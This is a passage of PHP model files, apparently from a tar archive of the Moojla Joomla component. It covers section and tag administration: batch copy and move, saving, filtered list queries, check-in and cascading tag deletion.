			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('section');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}

		// Set the empty visible item to data
		if (!isset($data['visible']))
		{
			$data['visible'] = '';
		}

		// Set the empty uservisible item to data
		if (!isset($data['uservisible']))
		{
			$data['uservisible'] = '';
		}
        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}

	/**
	 * Method to change the title
	 *
	 * @param   string   $title   The title.
	 *
	 * @return	array  Contains the modified title and alias.
	 *
	 */
	protected function _generateNewTitle($title)
	{

		// Alter the title
		$table = $this->getTable();

		while ($table->load(array('title' => $title)))
		{
			$title = StringHelper::increment($title);
		}

		return $title;
	}
}
models/sections.php000064400000017453151165724400010406 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		sections.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Sections Model
 */
class MoojlaModelSections extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'a.courseid','courseid',
				'a.section_id','section_id',
				'a.name','name'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$courseid = $this->getUserStateFromRequest($this->context .
'.filter.courseid', 'filter_courseid');
		if ($formSubmited)
		{
			$courseid = $app->input->post->get('courseid');
			$this->setState('filter.courseid', $courseid);
		}

		$section_id = $this->getUserStateFromRequest($this->context .
'.filter.section_id', 'filter_section_id');
		if ($formSubmited)
		{
			$section_id = $app->input->post->get('section_id');
			$this->setState('filter.section_id', $section_id);
		}

		$name = $this->getUserStateFromRequest($this->context .
'.filter.name', 'filter_name');
		if ($formSubmited)
		{
			$name = $app->input->post->get('name');
			$this->setState('filter.name', $name);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();
        
		// return items
		return $items;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_section',
'a'));

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.name LIKE '.$search.')');
			}
		}

		// Filter by Courseid.
		$_courseid = $this->getState('filter.courseid');
		if (is_numeric($_courseid))
		{
			if (is_float($_courseid))
			{
				$query->where('a.courseid = ' . (float) $_courseid);
			}
			else
			{
				$query->where('a.courseid = ' . (int) $_courseid);
			}
		}
		elseif (MoojlaHelper::checkString($_courseid))
		{
			$query->where('a.courseid = ' .
$db->quote($db->escape($_courseid)));
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		$id .= ':' . $this->getState('filter.courseid');
		$id .= ':' . $this->getState('filter.section_id');
		$id .= ':' . $this->getState('filter.name');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_section'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_section'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/tag.php000064400000057652151165724400007337 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Tag Model
 */
class MoojlaModelTag extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'tagid',
				'isstandard'
			),
			'right' => array(
				'tagname',
				'tags'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.tag';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'tag', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}
    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}

			if (!empty($item->id))
			{
				// Get Tag IDs.
				$item->tags = new JHelperTags;
				$item->tags->getTagIds($item->id, 'com_moojla.tag');
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.tag', 'tag',
$options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.tag.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/tag.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.tag.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.tag.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.tag.'. ((int) isset($data[$key]) ? $data[$key] : 0))
or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_tag'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.tag.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.tag', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return array('tagid');
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{

/***[JCBGUI.admin_view.php_before_delete.136.$$$$]***/
   
require_once(JPATH_ADMINISTRATOR.'/components/com_moojla/models/tag_instance.php');
   
require_once(JPATH_ADMINISTRATOR.'/components/com_tags/models/tag.php');
   
require_once(JPATH_ADMINISTRATOR.'/components/com_tags/tables/tag.php');


    $db= JFactory::getDbo();
    $query= $db->getQuery(true)
      ->select(' ti.id as tiid , ctm.tag_id as  tag_id')
     
->from($db->quoteName('#__moojla_tag','mt'))
     
->join('inner',$db->quoteName('#__moojla_tag_instance','ti').'on'.$db->quoteName('mt.tagid').'='.$db->quoteName('ti.moodletag'))
     
->join('inner',$db->quoteName('#__contentitem_tag_map','ctm').'on'.$db->quoteName('mt.id').'='.$db->quoteName('ctm.content_item_id'))
     
->where($db->quoteName('mt.id').'IN('.implode(',',$pks).')');

    $db->setQuery($query);

    $tiids= $db->loadColumn(0);
    $tag_ids= $db->loadColumn(1);



    $tiModel= new MoojlaModelTag_instance;
    $tiModel->publish($tiids,-2);
    $tiModel->delete($tiids);


    $tagModel= new TagsModelTag;
    $tagModel->publish($tag_ids,-2);
    $tagModel->delete($tag_ids);
/***[/JCBGUI$$$$]***/

		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('tag');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('tag');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// Only for strings
			if (MoojlaHelper::checkString($this->table->tagname) &&
!is_numeric($this->table->tagname))
			{
				$this->table->tagname =
$this->generateUnique('tagname',$this->table->tagname);
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('tag');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
